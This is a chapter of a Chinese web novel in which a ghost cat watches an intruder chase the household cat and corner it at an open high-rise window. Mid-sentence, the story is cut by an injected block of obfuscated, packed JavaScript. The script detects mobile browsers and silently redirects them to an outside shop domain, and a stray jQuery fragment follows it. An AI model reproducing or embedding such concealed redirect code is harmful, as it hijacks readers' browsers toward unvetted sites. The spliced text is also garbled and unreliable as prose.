文趣网 > 都市小说 > 小猫返阳记 > 23.大战锡箔纸
    奚柏志放下酒杯,坐到沙发上颠了颠,又仔细端详了一下。

    米扎跳到桌子上,弓起脊背,浑身毛发直竖,膨胀的尾巴在桌子上一下一下抽打着,龇牙朝眼前这人哈着气。

    他低吼着,“滚出去,离开我主人!”

    但他的威胁无济于事,男人根本就感受不到。

    那怎么办?

    对,他可以去找贝贝,把事情告诉她,让她来整治这个坏家伙!

    他正要从窗户离开,却看见这家伙起身去锅里捞出一只虾,拇指和食指捏着虾须提着,朝卧室走去。

    不好!花哥!

    他穿进卧室。

    奚泊志果然打开卧室,米花下意识以为是王冉,便要从床上窜出去。可走到一半儿发现不对劲儿便慌忙跳到了床底下。

    米花虽然膘肥体壮,但的确生长在这个安乐窝不见外人时间长了,见到生人难免害怕。

    他躲到床底下,两只耳朵趴到耳后,呜呜地低吼着,“喵呜——你是什么人!你快滚出去!”

    “喵呜——这是我的家,我的地盘,你给老子滚出去!”

    奚泊志冷笑一声,把手里的虾丢到了床下,拍拍手,转身躺到了床上,抱着旁边的枕头闷在脸上嗅了两口。

    米花趁此机会从床底下窜出,一溜烟跑出了卧室。

    他出去之后天然要找一个最安全的地方,于是趴在沙发边上往里面狂钻着。双手双脚乃至整个身体都用上了吃奶的力气。

    但王冉之前为了防止他再钻进去又出不来,便把旁边的桌子挪了挪,所以现在他的后腿根本蹬不到借力的地方。

    他上半身已经钻到沙发下面,但肥圆壮实的大屁股卡在外面根本进不去,两只前爪用力地到抓着沙发上面,后腿也露出爪子,在光滑的地板上徒劳地蹬着。

    每次双腿用力屁股撅起来,他的肚子露出下腹的一团柔软白毛。白色的双脚打滑出去,那团白毛便贴到地上消失不见。

    那团白毛就随着他反反复复的一瞪一滑,在沙发边角时隐时现。

    他浑身使劲儿反复尝试,嘴里发出着急的叫声,听起来十分凄惨。

    米扎连忙过去帮忙,用力地在后面推着他的屁股,但根本接触不了,虚空被他踹了无数脚。

    这时候他真想让米花把他身上的肉分给他两斤!

    “要是贝贝姐在就好了,她一脚准能把花哥踹进去。”米扎无奈地看着米花,真是心酸又好笑。

    他无奈地坐在旁边,对米花说到,“花哥,要不咱别躲了。你和他硬刚吧——”

    对啊!米扎站起来看向桌子上的那杯掺了东西的红酒,心想要是米花能够窜起来把这杯子打翻不就好了!

    米扎自认是犟种里的乖宝宝,只在主人杯子里涮过爪爪。推杯子这事儿虽然他们不常干,但怎么也算是猫的拿手好戏吧。

    想到上午贝贝传给他的那口魂气,还没完全和他的魂气融合被他吸收呢,于是他集中意念,凝神聚气,将那口气集中在嘴巴上。

    他凑到米花耳边,凑向他说到:“花哥,我是米扎。别怕,斗他,先去踹掉桌子上的水杯。”

    米花停下动作,陡然望过来,和米扎四目相对。但显然从他疑惑惊恐的眼神可以看出,他只听到了米扎的声音,并没有看到米扎。

    也不知道听到了多少。

    这时煮虾的锅上,锅盖砰砰作响,带着白色泡沫的水往外潽着。

    奚泊志懒洋洋地从卧室走出来,看着桌子下面贴在墙角边惊恐的米花嗤笑一声,“哎哟,真是什么样的人养什么样的猫,跟你主人一样,病猫一个。”

    他笑着摇摇头,走到了锅边去关了火,开始将虾盛出来。

    米花这时已经渐渐镇定下来,没有刚才那么惊恐了。他两只耳朵再次压扁到耳后,尾巴啪啪地拍到地面上,鼻子发出“噗噗”的出气声,胡子炸了开来。

    他从桌子下钻出来,望着奚泊志,胡子炸开,发出低吼,“你他喵的才是病猫!”

    奚泊志听到他的声音,回头一看,冷笑一声,“怎么?想吃?——你也配!”

    说罢奚泊志得意洋洋端着一盆虾从厨房走出来,走过米花旁边还故意伸出脚踢了一下。

    这点三脚猫的脚力、速度怎能跟猫比?

    米花迅速躲开了,一根毛都没有让他碰到。

    他躲到阳台厚厚的窗帘后面,露出一颗源头虎视眈眈地瞧着这个讨厌的闯入者,越看越气,越想越讨厌。

    胡子炸得更开,弓起脊背,竖起全身的毛,让米花整个大了好多。歪着的脑袋上仿佛头上冒出了一个“王”字,像一个老虎,充满了匪气,又威猛无比。

    米花忍无可忍,低吼怒骂,“呜——王冉你怎么还不回来!家里进贼了你不知道嘛!快点滚回来啊王冉!”

    第一句骂骂王冉算开嗓了。

    他保持战斗姿势,歪着脑袋,朝前平移一跳,痛骂到:

    “呜呜——你这个比咪的大便还臭的臭狗屎!”

    “呜呜——你的气味比橘子皮还恶心!你的脸皮比锡箔纸还油滑!”

    “呜呜——你这个气味难闻、声音刺耳、脸皮恶心、直立行走的橘子皮味儿锡箔纸!快滚出我的家去——呜呜——”

    米花跳着跳着又朝前平移跳了一大步。

    坐在沙发上的奚柏志用小拇指掏了掏耳朵眼儿,朝着指甲盖儿吹了一下,拧着眉,“你是在骂我吗?”

    米花横眉竖眼,歪着脑袋,朝前轻探一步,“呜——就是骂的你这个直立行走的橘子皮味儿锡箔纸!快从我们家滚出去!”

    “哟呵?你在挑衅我?”奚柏志噌地从沙发上站起来,撸着衬衣两边的袖子,“照猫学虎”,歪着脑袋,横着眼睛,恶狠狠盯着米花。

    像一个恶狠狠的智障。

    他微曲身体,轻抬脚步,伸着大手就要来抓米花。

    “小样儿,就你那三招两势的,还想抓我比老虎还威猛的花哥?”米扎在一旁助威。

    米花灵活一闪,就跳到了电视柜上面。他似乎想要往卧室跑去。

    奚柏志跑过来试图拦截他的去路,米花灵活调转路线,正面对敌,在那人扑上来的时候猛然窜到他的脚下,用他雄壮而灵活的身体蛇形走位。

    这家伙面对米花的反攻,如临大敌,自乱阵脚,双脚乱抬,左脚绊右脚,扑倒在地,摔了个大马趴。

    米扎在一旁捧腹大笑,竖起的尾巴颤动着,高呼:“喵呜——花哥威武”!

    趴下的奚柏志从地上爬起来,大喝道:“我操你妈的!死猫!”

    锡箔纸的声音果然刺耳又难听!

    他站起来之后把袖

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565878|203196||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子撸得更高,解开了胸前的一颗扣子,整张脸爆红发胀,鼻尖和额头尤其红肿。

    他在房间里追着米花周旋了几圈,皆是被米花玩弄于屁股后端。

    米花逐渐忘却了所有的害怕,玩心大发,开始逗着这个锡箔纸转圈。

    奚柏志双手撑在膝盖上气喘吁吁,抬眼看向他,眼露凶光,噘了噘嘴勾起嘴角,转身朝卧室走去了。

    米扎和米花都愣住了,双双伸长脖子歪着脑袋直着眼睛,试图一探究竟。

    猫咪喜欢以逗人追逐为乐,但并不喜欢追人。所以锡箔纸突然改变战术,米花还不适应,小心缓慢地试探前行。

    米扎蹑手蹑脚,紧随其后。

    走了几步后,米扎猛然停住,“欸,不对啊!咪的天,我现在是鬼啊!虽然现在力量微弱,但我依然可以穿墙而过呀。”

    所以他自荐为米花的先锋,先行一步,穿进卧室。

    这家伙竟然在拆卧室飘窗那里网格两边的柱子!

    他将一个柱子拧松,把拦着窗户的网格面掀开靠到墙边放着,拍了拍手,嘴角露出邪恶的笑容。

    “不好!有陷阱!有天大的陷阱!花哥你千万不要中计!”

    米扎飘出窗外一看,心中陡然一耸,二十六楼的层高。这对于一只活猫来说,简直就是悬崖!是万丈深渊!

    他想穿出去赶紧提醒米花,但米花已经走进卧室,并被这狡猾的家伙关上门拦截了退路。

    “怎么办?”

    “喵呜——花哥!千万不要去窗户边!你去床底下,去床底下和这厮周旋就好了,千万不要去窗户边!”米扎着急地在米花耳边奋力大喊,但根本无济于事,米花一点也没听见。

    他急得直跺脚。

    就在这时,跪在地上的人不惜让床板划伤胳膊,猛然朝床下伸手揪住了床底下的米花的手臂,将他狠狠拽了出来。

    米花两只耳朵死死盖到脑袋上,低声怒吼警告。那家伙死不放手,他四只手脚伸出利爪,乱瞪乱抓朝这个扼制住他的锡箔纸挠去。

    “啊——”的一声,男人猛然甩手,手臂上出现了六道长长的血痕。

    “妈的!老子今天不弄死你我就不姓奚!”男人开始大声吼叫,走起路来也重重踩地,皮鞋地发出重重的声音,试图把米花往窗户外赶。

    米花越发往窗户退去。

    米扎着急万分,横着身体试图把米花挡住。但他是一只鬼,一只小鬼,一只没用的鬼……他挡不住米花,也拦不住锡箔纸。

    窗台犹如热锅,米扎急得像热锅上的蚂蚁一样团团转。

    米花在飘窗台上另一边的角落龇牙露爪,朝还在往这边逼近的讨厌锡箔纸猛然低吼哈气。

    那锡箔纸脸上发出邪恶的光,笑容阴暗无比,试图把米花逼向飘窗的另一边。

    好在米花从他右腿和腋下之间窜了出去,跳到了床上。

    米扎悬着的心放了下来,像人一样举爪拍着胸。

    还没拍两下,那锡箔纸就从身后拿出粉红豹玩偶猛然朝米花砸去,米花及时躲开,想要逃到床下。

    但锡箔纸又抄起书桌上的一本书猛然砸去拦截了他的去路。

    米花一时方寸大乱,径直朝飘窗被拆了窗格挡板的这扇窗户一跃而去。

    “不要——”米扎猛然伸手朝米花奔去。